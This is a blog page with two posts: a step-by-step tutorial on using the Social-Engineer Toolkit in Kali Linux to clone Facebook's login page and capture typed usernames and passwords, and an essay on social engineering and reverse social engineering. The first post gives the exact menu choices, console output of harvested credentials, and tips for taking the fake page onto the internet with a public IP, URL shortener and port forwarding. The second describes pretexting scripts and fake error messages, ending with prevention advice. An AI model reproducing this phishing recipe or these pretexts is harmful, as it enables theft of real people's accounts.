Social Engineering Toolkit - Kali : Credential Harvestor : Hack Facebook

Hacking Facebook

In the previous post I've discussed how not to hack Facebook. Here we will discuss how to hack Facebook. This tutorial is meant for enhancing you networking skills, as well as to develop understanding of how fake web pages are created, so that you can protect yourself from such attacks. Don't use this information to hack someone's account, or you'll run the risk of getting into legal troubles. If you haven't yet read the previous post, you should. It might not be very enlightening in terms of technical details, but it quite enjoyable and will provide you with a background of what we are looking at.

Social Engineering Toolkit

Humans are the weakest link in any security system ~Shashwat (That'll be me)

If you have read the previous post, then you know what I'm talking about. Social engineering toolkit does not exploit vulnerability in the mechanism of any service. It exploits the weakness in the human element of security. Some official words from the official guys before we move on to the actual hacking

The Social-Engineer Toolkit (SET) was created and written by the founder of TrustedSec. It is an open-source Python-driven tool aimed at penetration testing around Social-Engineering. SET has been presented at large-scale conferences including Blackhat, DerbyCon, Defcon, and ShmooCon. With over two million downloads, SET is the standard for social-engineering penetration tests and supported heavily within the security community.

Kali Linux

I don't feel the need to mention it, but I'll still do it. You need Kali Linux to proceed with this tutorial. Check out the top of the page and see the "Kali Linux complete" tutorial. Better yet, I'll link it here- Kali Linux : What it is and how to install

Se-toolkit

Start Kali Linux. In a console/terminal type se-toolkit.

Something like this will show up

root@kali:~# se-toolkit
[-] New set_config.py file generated on: 2014-05-26 08:26:33.526119
[-] Verifying configuration update...
[*] Update verified, config timestamp is: 2014-05-26 08:26:33.526119
[*] SET is using the new config, no need to restart

                  _______________________________
                 /   _____/\_   _____/\__    ___/
                 \_____  \  |    __)_   |    |
                 /        \ |        \  |    |
                /_______  //_______  /  |____|
                        \/         \/          
  [---]        The Social-Engineer Toolkit (SET)         [---]      
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]                 Version: 4.3.9                   [---]
  [---]              Codename: 'Turbulence'              [---]
  [---]         Follow us on Twitter: @trustedsec        [---]
  [---]         Follow me on Twitter: @dave_rel1k        [---]
  [---]       Homepage: https://www.trustedsec.com       [---]
     Welcome to the Social-Engineer Toolkit (SET). The one
      stop shop for all of your social-engineering needs.
 
      Join us on irc.freenode.net in channel #setoolkit
  The Social-Engineer Toolkit is a product of TrustedSec.
           Visit: https://www.trustedsec.com
 Select from the menu:
   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About
  99) Exit the Social-Engineer Toolkit
set> 

Now type the following and press enter.
1 [enter] 2 [enter] 3 [enter]

Explanation

• 1 selects social engineering attacks. Obvious choice if you read the other options from 1 to 9 (and 99 for exit)
• The 2 selects Website Attack Vectors. Not that obvious.  The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.
• Then, the 3 selects Credential Harvestor.  The Credential Harvester method will utilize web cloning of a web-site that has a username and password field and harvest all the information posted to the website.

Now you'll be seeing something like this-

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.
 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.
 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   1) Web Templates
   2) Site Cloner
   3) Custom Import
  99) Return to Webattack Menu

Type 2 to select site cloner.

Find your IP

On a new terminal type ifconfig. This will give you your ipv4 address, which is what you are looking for

Back to se-toolkit

 Now it'll ask you to specify the IP to which the data is supposed to be sent to. That'll be your IP address. Since this is your internal IP address (i.e. local IP), the fake facebook page will work only for computers connected with your LAN.

Now it'll ask for the page to be cloned. Enter https://www.facebook.com/.

set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.154.133
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:https://www.facebook.com/

Now in your browser on Kali Linux, enter your IP. It will display facebook login page. Enter any info and press login. You will get the information in se-toolkit. If you are using VMWare or virtualbox, then you can try and enter the IP on the browsers there. It will work.

Live demonstration

To make sure that the demonstration is not just a repetition of what you already know, I have decided to clone the login page of facebook, instead of homepage. It will be a tad bit different. Here is a screenshot of what I did.

The IP address is my internal address from ifconfig, which comes out to be 192.168.154.133. The cloned page is https://www.facebook.com/login.php. Now we will try to see if this credential harvestor works.

On the Kali Linux Machine itself

Entering the IP in browser shows you the fake login page. Also, se-toolkit registers the visit and says 192.168.154.133 - - [27/May/2014 02:32:32] "GET / HTTP/1.1" 200 -

Now if we enter something in the field, it also shows up on se-toolkit. I entered 'hackingwithkalilinux' in username field and 'password' in password field. This is what se-toolkit shows-

POSSIBLE USERNAME FIELD FOUND: email=hackingwithkalilinux
POSSIBLE PASSWORD FIELD FOUND: pass=password

Also note that se-toolkit might keeping dumping more stuff in the console, most of which is not important for the time being.

On Windows 8 machine (host)

Now I'm running Kali on a virtual machine. Windows 8 is the host machine, and we might want to check if it works on Windows 8. Also, we would also like to see if modern browsers are able to observe anything wrong with the page, and if the firewall stops the data flow.

I entered windows8host and password2 and pressed the login button. This is what I got. Also, as I was logged in to Facebook with my personal account, the fake page redirected me to facebook.

POSSIBLE USERNAME FIELD FOUND: email=windows8host
POSSIBLE PASSWORD FIELD FOUND: pass=password2

Conclusion : This method pretty much works well over LAN.

Make it work over internet

To make the technique work over internet, you will need to use your public IP instead of private. Search google for what is my IP to find you public IP. Then use it. You can use tinyurl or something to make the url appear legitimate. Also, port forwarding might need to be enabled, as your router might block traffic on port 80. Firewall can also cause troubles. While this tutorial was nothing more than - se-toolkit 1 2 3 [your IP] [facebook.com], the next post on getting your credential harvestor on the internet will make the tutorial complete and useful in practical sense. Next tutorial will help you make your fake login page accessible over the internet. [Coming Soon] There you go -  http://www.kalitutorials.net/2014/05/credential-harvestor-port-forwarding.html

Read more

by Malik korrich ~ lundi 26 mai 2014 0 commentaires

Social Engineering

Why use Social Engineering?

The reasons for using social engineering to gain access are simple: once mastered, social engineering can be used on a system despite the platform or the quality of the hardware and software present. Social engineering comes in many forms, but they are all based on the principle of disguising oneself as a non-hacker who needs or deserves the information to gain access to the system. Aside from user larger security systems, another tactic that security professionals employ is 'security through obscurity,' which is providing little or no information to a user, assuming that legitimate users have already been trained, and that the hackers would be discouraged by having to guess different commands or procedures. Security through obscurity methods can also be accomplished by hiding certain files or information systems or having confusing login prompts. This method of security is completely undermined when social engineering is involved. With a legitimate human user providing information, all the information that allowed for security through obscurity would also be divulged to the hacker.

Methods of Attack?

Although the methods used by social engineers rely on the same principle, the disguises of the hackers may vary greatly, depending on the hacker's level of skill and the type of information he or she is after. One common method used is for the attacker to pretend he is new to the system and needs assistance with gaining access. The role as a new person (or 'newbie' or 'neophyte') is easy for a potential hacker to pull off. The hacker can easily pretend to not know much about a system and still retrieve information. This ruse is commonly used when the attacker is unable to research enough about the company or find enough information to get a foot in the door. A simple method of this technique is for the hacker to call a secretary for the company and pretend that he is a new temp agent and is having trouble gaining access into the system. The secretary (or other legitimate user) may be inclined and proud to be able to offer help to the new person on the job. The user may simply give out the guest account name and password, or may even go into detailed instructions on login procedures for different departments. Once the intruder is in a guest account however, he may be able to access other (more important) accounts from there. He may also be able to find out enough information about the company to use a similar tactic: reverse social engineering, which is covered in the next section.

Other guises used by social engineers are to pose as a computer aide or helper, and try to gain information as you fix the computer. This technique, however, relies on the assumption that there is something wrong with the computer system. By posing as a helper, the legitimate user will be less suspicious and more willing to answer your inquisitive questions. Another form for the attacker to take is that of a system operator for the network itself. The potential hacker will pretend that an error in all the accounts has been made, and the he needs to reset the accounts. In order to do that, he needs the old passwords of the users. If the employee is naive enough, he or she will divulge the information, thinking that they are doing their company a service. Although there are many other methods and techniques, these previous examples account for most recorded incidents of social engineers.

The disguises and tricks that the hackers use to social engineer legitimate users do have limits, however. During a social engineering attack, the hacker assumes a great deal and also relies on luck to pull off a successful hack. The above examples usually only work on employees who are not aware of the different forms of social engineering, or that they don't care about the company's security. Even if an employee is not aware of social engineering, he or she may not trust who the hacker is without proper identification. The employee may also be aware that temp agents usually have contact managers or other people within their own office to assist them, and would be suspicious when the call comes to their desk. These problems are a constant danger to the potential hacker, which has called for a new type of social engineering- called reverse social engineering.

Reverse Social Engineering

Reverse social engineering is a superior form of social engineering that deals with the common difficulties that come with normal social engineering. This form can be described as a legitimate user of a system asking the hacker questions for information. In reverse social engineering (RSE), the hacker is thought to be a higher-level that the legitimate user, who is actually a target. In order to pull of an RSE attack, however, the attacker must be knowledgeable of the system and usually must also have previous access granted to him, usually through normal social engineering. A quick glance of the some pros and cons of SE and RSE are given here:

Social Engineering: The hacker places the calls and is dependent on the user
Reverse Social Engineering: The user places the calls and are dependent the hacker

Social Engineering: The user feels that the hacker is indebted to them.
Reverse Social Engineering: The user feels indebted to the hacker.

Social Engineering: Questions often remain unresolved to the victim.
Reverse Social Engineering: All the problems are corrected, no suspicious loose ends

Social Engineering: The user has control by providing information.
Reverse Social Engineering: The hacker has complete control.

Social Engineering: Little or no preparation required.
Reverse Social Engineering: Lots of planning and previous access usually needed

The typical RSE attack consists of three major parts: sabotage, advertising, and assisting. After gaining simple access through other means, the hacker sabotages a workstation by either corrupting the station, or giving the appearance that it is corrupted. An abundance of error messages, switched parameters/options, or simulation programs such as fake prompts can accomplish this type of sabotage. The user of the system sees the malfunctions, and then tries to seek help. In order to be the one that the users call, the attacker must advertise that he or she is capable of fixing the problem. Advertising may include placing fake business cards around the office or even providing the number to call in the error message itself. A sample error message might be:

** ERROR 03 - Restricted Access Denied ** - File access not allowed by user. Consult with Mr. Crack at () 595-1474 for file permission information.

In this case, the user would call 'Mr. Downs' for help, and divulge account information without being suspicious of the legitimacy of 'Mr. Downs.' Another method of advertisement can actually involve social engineering. An example of this is for the hacker to call the target and inform them that the new technical support number has changed, and then the hacker would give them their own number. The third (and easiest) part of an RSE attack is for the hacker to assist with the problem. Since the hacker is the instigator of the sabotage, the problem is easily fixed, and the target is not suspicious of the helper since he or she appears to be a knowledgeable user of the system. The duty of the hacker is only to get account information out of the target while he is helping them. After the information is attained, the hacker solves the problem and then ends the conversation, eager to use his newfound knowledge.

Why Social Engineering Works

The use of social engineering and reverse social engineering are common because they often work under good conditions and take less time (and sometimes less knowledge) to pull off than brute-force attacks. They work because all humans have certain psychiatric characteristics that can be taken advantage of. Such characteristics are diffusion of responsibility, ingratiation opportunties, and moral duty. Diffusion of responsibility is used when the legitimate user feels that he or she is not solely responsible for their actions, which allows them to give up information more easily. A user may also divulge information if they feel that are doing something that will help them in the future, such as getting their boss out of a jam. Moral duty is played on when the target believes that they are helping the company with a problem, and they are often glad to help. There are other factors that allow social engineers to be successful, such as the use of guilt and personal persuasion.

Methods of Prevention

As social engineering and reverse social engineering become more prevalent, companies and network managers are trying to stop the attacks from being successful. Companies concerned with security realize that the great amounts of money spent on upgrades and security kits are being wasted if they can't prevent SE and RSE attacks. The simple answer to preventing these attacks is education. A knowledgeable user of a system can easily be told to never give out account information without pen-nission of a supervisor. The users should be aware of the common methods of SE attacks, and should always report suspicious behavior. While catching on to RSE attacks is much harder, the users should still be aware of who to trust when a problem occurs. Since social engineers can attack any employee for information, all employees should be concerned with methods of attacks. Hackers know that low-level employees and users with low company morale are easy targets for giving up information without much thought. These employees must team to care about computer and company security as a whole.

Conclusion

All computer systems in the world must rely on human operators that have vulnerable characteristics. No matter how secure the equipment is from electronic invasion, the knowledge extracted from a legitimate user may render a computer network inoperable if used in an unauthorized manner. Hackers try to learn how to manipulate legitimate users into providing valuable network information. Once in, they may even use reverse social engineering to gain further access to the system- this golden method of hacking is easily prevented by education the users to be aware of such attacks, and to use wise judgment when providing others with company information.

Read more

by Malik korrich ~ mardi 20 septembre 2011 0 commentaires